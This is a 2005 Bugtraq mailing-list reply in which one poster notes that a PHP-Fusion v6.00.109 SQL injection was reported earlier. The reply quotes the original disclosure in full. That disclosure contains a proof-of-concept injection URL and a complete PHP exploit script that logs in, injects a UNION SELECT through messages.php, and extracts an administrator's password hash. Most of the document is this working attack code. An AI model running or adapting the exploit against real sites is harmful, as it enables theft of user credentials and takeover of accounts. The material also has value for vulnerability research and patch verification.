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Date: Thu, 29 Sep 2005 09:28:13 +0100
From: Petko Petkov <ppetkov@...citizen.org>
To: retrogod@...ceposta.it
Cc: bugtraq@...urityfocus.com
Subject: Re: PHP-Fusion v6.00.109 SQL Injection / admin|users credentials
disclosure
I believe that this thing has been discovered and fixed long time ago.
check this out, maybe I am wrong:
http://www.gnucitizen.org/writings/php-fusion-messages.php-sql-injection-vulnerability.xhtml
Regards,
Petko Petkov
retrogod@...ceposta.it wrote:
>PHP-Fusion v6.00.109 SQL Injection / admin|users credentials disclosure
>
>site: http://www.php-fusion.co.uk
>
>
>
>- if magic_quotes off -> SQL Injection, poc:
>
>http://[target]/[path_to_Php_Fusion]/messages.php?msg_send=' UNION SELECT user_password FROM fusion_users WHERE user_name='[admin_username]'/*
>
>now hash is showed in "To:" field when you post a private message
>
>
>this is the tool:
>
><?php
># 19.17 28/09/2005 #
># #
># -- PhpF6_00_109xpl.php #
># #
># PHP-Fusion v6.00.109 SQL Injection / admin|users credentials disclosure #
># #
># by rgod #
># site: http://rgod.altervista.org #
># #
># mphhh, private messages again...tze,tze #
># #
># make these changes in php.ini if you have troubles #
># to launch this script: #
># allow_call_time_pass_reference = on #
># register_globals = on #
># #
># usage: launch this script from Apache, fill requested fields, then #
># go! #
># #
># Sun-Tzu: "Therefore the clever combatant imposes his will on the enemy, #
># but does not allow the enemy's will to be imposed on him" #
>
>error_reporting(0);
>ini_set("max_execution_time",0);
>ini_set("default_socket_timeout", 2);
>ob_implicit_flush (1);
>
>echo'<head><title> *** PHP-Fusion v6.00.109 SQL Injection *** </title> <meta
>http-equiv= "Content-Type" content="text/html; charset=iso-8859-1"> <style
>type="text/css"><!-- body,td,th {color:#00FF00;} body{background-color: #000000;}
>.Stile5 {font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px; }
>.Stile6 {font-family: Verdana, Arial, Helvetica, sans-serif; font-weight: bold;
>font-style: italic; } --> </style></head><body> <p class="Stile6"> Php-Fusion v6.
>00.109 SQL Injection / admin|user credentials disclosure </p><p class="Stile6">
>a script by rgod at <a href="http://rgod.altervista.org" target="_blank">
>http://rgod.altervista.org</a></p><table width="84%"><tr><td width="43%"> <form
>name="form1" method="post" action="'.$SERVER[PHP_SELF].'?path=value&host=value
>&port=value&proxy=value&user=value&pass=value&username=value"> <p> <input
>type="text" name="host"><span class="Stile5"> hostname ( ex: www.sitename.com )
></span></p> <p> <input type="text" name="path"><span class="Stile5"> path (ex:
>/phpfusion/ or just /)</span></p><p> <input type="text" name="port"> <span
>class="Stile5">specify a port other than 80 (default value)</span></p><p> <input
>type="text" name="user"> <span class="Stile5">your username </span> </p> <p>
><input type="text" name="pass"> <span class="Stile5">your password ( to get a
>valid session cookie) </span></p><p><input type="text" name="username"> <span
>class="Stile5">user whom you want the password </span></p><p><input type="text"
>name="proxy"> <span class="Stile5"> send exploit trough an HTTP proxy </span>
></p> <p> <input type="submit"name="Submit" value="go!"> </p></form> </td> </tr>
></table></body></html>';
>
>function show($headeri)
>{
>$ii=0;
>$ji=0;
>$ki=0;
>$ci=0;
>echo '<table border="0"><tr>';
>while ($ii <= strlen($headeri)-1)
>{
>$datai=dechex(ord($headeri[$ii]));
>if ($ji==16) {
> $ji=0;
> $ci++;
> echo "<td> </td>";
> for ($li=0; $li<=15; $li++)
> { echo "<td>".$headeri[$li+$ki]."</td>";
> }
> $ki=$ki+16;
> echo "</tr><tr>";
> }
>if (strlen($datai)==1) {echo "<td>0".$datai."</td>";} else
>{echo "<td>".$datai."</td> ";}
>$ii++;
>$ji++;
>}
>for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++)
> { echo "<td>  </td>";
> }
>
>for ($li=$ci*16; $li<=strlen($headeri); $li++)
> { echo "<td>".$headeri[$li]."</td>";
> }
>echo "</tr></table>";
>}
>
>$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
>
>function sendpacket()
>{
>global $proxy, $host, $port, $html, $packet;
>if ($proxy=='')
> {$ock=fsockopen(gethostbyname($host),$port);}
> else
> {
> if (!eregi($proxy_regex,$proxy))
> {echo htmlentities($proxy).' -> not a valid proxy...';
> die;
> }
> $parts=explode(':',$proxy);
> echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
> $ock=fsockopen($parts[0],$parts[1]);
> if (!$ock) { echo 'No response from proxy...';
> die;
> }
> }
>fputs($ock,$packet);
>if ($proxy=='')
> {
> $html='';
> while (!feof($ock))
> {
> $html.=fgets($ock);
> }
> }
>else
> {
> $html='';
> while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html)))
> {
> $html.=fread($ock,2048);
> }
> }
>fclose($ock);
>echo nl2br(htmlentities($html));
>}
>
>
>if (($path<>'') and ($host<>'') and ($user<>'') and ($pass<>'') and ($username<>''))
>{
> if ($port=='') {$port=80;}
>
>#STEP 1 -> login, to retrieve a session cookie...
>
>$data="user_name=".urlencode(trim($user))."&user_pass=".urlencode(trim($pass))."&login=Login";
>if ($proxy=='')
>{$packet="POST ".$path."news.php HTTP/1.1\r\n";}
>else
>{$packet="POST http://".$host.$path."news.php HTTP/1.1\r\n";}
>
>$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/msword, */*\r\n";
>$packet.="Referer: http://".$host.$path."/news.php\r\n";
>$packet.="Accept-Language: en\r\n";
>$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
>$packet.="Accept-Encoding: gzip, deflate\r\n";
>$packet.="User-Agent: Googlebot/2.1\r\n";
>$packet.="Host: ".$host."\r\n";
>$packet.="Content-Length: ".strlen($data)."\r\n";
>$packet.="Connection: Keep-Alive\r\n";
>$packet.="Cache-Control: no-cache\r\n";
>$packet.="Cookie: fusion_visited=yes; PHPSESSID=44ab49664b56b97036425427b1ffb8cf\r\n\r\n";
>$packet.=$data;
>show($packet);
>sendpacket($packet);
>$temp=explode("Set-Cookie: ",$html);
>$temp2=explode(' ',$temp[1]);
>$cookie=$temp2[0];
>echo '<br>Your cookie: '.htmlentities($cookie);
>
># STEP 2 -> SQL Injection, now retrieve the MD5 password hash from database
>$username=str_replace("'","",$username);
>$sql="' UNION SELECT user_password FROM fusion_users WHERE user_name='".trim($username)."'/*";
>
>if ($proxy=='')
>{$packet="GET ".$path."messages.php?msg_send=".urlencode($sql)." HTTP/1.1\r\n";}
>else
>{$packet="GET http://".$host.$path."messages.php?msg_send=".urlencode($sql)." HTTP/1.1\r\n";}
>
>$packet.="User-Agent: GameBoy, Powered by Nintendo\r\n";
>$packet.="Host: ".$host."\r\n";
>$packet.="Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\n";
>$packet.="Accept-Language: en\r\n";
>$packet.="Accept-Charset: windows-1252, utf-8, utf-16, iso-8859-1;q=0.6, *;q=0.1\r\n";
>$packet.="Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0\r\n";
>$packet.="Cookie: ".$cookie."\r\n";
>$packet.="Cookie2: \$Version=1\r\n";
>$packet.="Connection: Keep-Alive, TE\r\n";
>$packet.="TE: deflate, gzip, chunked, identity, trailers\r\n\r\n";
>show($packet);
>sendpacket($packet);
>if (eregi('For Members only',$html)) {echo 'You have to specify a valid session cookie...'; die; }
>$temp=explode("'Click to view the senders profile'>",$html);
>$temp2=explode("</a>",$temp[1]);
>$hash=$temp2[0];
>echo '<br>Username: '.htmlentities($username).' Password hash: '.$hash;
>
>}
>else
>{ echo '<br> Fill requested fields, optionally specify a proxy...';}
>
>?>
>
>rgod
>site: http://rgod.altervista.org
>mail: retrogod@...ceposta.it
>original advisory:
>http://rgod.altervista.org/phpfusion600109.html
>
>
>
>
>
>
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